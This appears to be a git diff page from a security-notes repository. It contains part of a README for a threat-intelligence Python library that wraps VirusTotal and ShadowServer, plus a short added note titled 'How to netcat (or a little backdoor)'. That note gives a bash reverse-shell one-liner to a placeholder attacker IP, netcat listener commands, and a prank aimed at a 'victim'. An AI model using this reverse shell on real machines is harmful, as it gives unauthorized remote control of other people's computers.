Calls `file/search` VirusTotal API endpoint. Use to search for samples that match some binary/metadata/detection criteria.
|
||||||
|
|
||||||
|
```python
|
||||||
|
vt.get_file_search()
|
||||||
|
```
|
||||||
|
|
||||||
|
#### File date endpoint
|
||||||
|
|
||||||
|
Calls `file/clusters` VirusTotal API endpoint. Use to list similarity clusters for a given time frame.
|
||||||
|
|
||||||
|
```python
|
||||||
|
vt.get_file_clusters()
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ShadowServer API
|
||||||
|
|
||||||
|
[ShadowServer](http://shadowserver.org/) provides an [API](http://bin-test.shadowserver.org/) that allows to test
|
||||||
|
the hashes against a list of known software applications.
|
||||||
|
|
||||||
|
To use the ShadowServer API wrapper import `ShadowServerApi` class from `threat_intel.shadowserver` module:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from threat_intel.shadowserver import ShadowServerApi
|
||||||
|
```
|
||||||
|
|
||||||
|
To use the API wrapper simply call the `ShadowServerApi` initializer:
|
||||||
|
|
||||||
|
```python
|
||||||
|
ss = ShadowServerApi()
|
||||||
|
```
|
||||||
|
|
||||||
|
You can also specify the file name where the API responses will be cached:
|
||||||
|
|
||||||
|
```python
|
||||||
|
ss = ShadowServerApi(cache_file_name="/tmp/cache.shadowserver.json")
|
||||||
|
```
|
||||||
|
|
||||||
|
To check whether the hashes are on the ShadowServer list of known hashes,
|
||||||
|
call `get_bin_test` method and pass enumerable with the hashes you want to test:
|
||||||
|
|
||||||
|
```python
|
||||||
|
file_hashes = [
|
||||||
|
"99017f6eebbac24f351415dd410d522d",
|
||||||
|
"88817f6eebbac24f351415dd410d522d"
|
||||||
|
]
|
||||||
|
|
||||||
|
ss.get_bin_test(file_hashes)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
### Install with `pip`
|
||||||
|
|
||||||
|
```shell
|
||||||
|
$ pip install threat_intel
|
||||||
|
```
|
||||||
|
|
||||||
|
### Testing
|
||||||
|
Go to town with `make`:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
$ sudo pip install tox
|
||||||
|
$ make test
|
||||||
|
```
|
24
Network_and_802.11/how_to_netcat.md
Normal file
24
Network_and_802.11/how_to_netcat.md
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
# How to netcat (or a little backdoor)
|
||||||
|
|
||||||
|
Create the reverse shell in the port 1337:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ sh -i >& /dev/tcp/ATTACKERS_IP/1337 0>&1
|
||||||
|
```
|
||||||
|
|
||||||
|
Now just netcat to it. From a Linux machine:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ nc -l -p 1337
|
||||||
|
```
|
||||||
|
|
||||||
|
Or from a Macbook:
|
||||||
|
```bash
|
||||||
|
$ nc -l 1337
|
||||||
|
```
|
||||||
|
|
||||||
|
You should get shell. A cute prank is making the victim's computer talk:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ say Hacked
|
||||||
|
```
|
@ -1,4 +1,4 @@
|
|||||||
# [Wireshark Guide (by bt3)](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html)
|
# Wireshark Guide
|
||||||
|
|
||||||
|
|
||||||
[Wireshark](https://www.wireshark.org/) is an open source **network packet analyzer** that allows live traffic analysis, with support to several protocols.
|
[Wireshark](https://www.wireshark.org/) is an open source **network packet analyzer** that allows live traffic analysis, with support to several protocols.
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user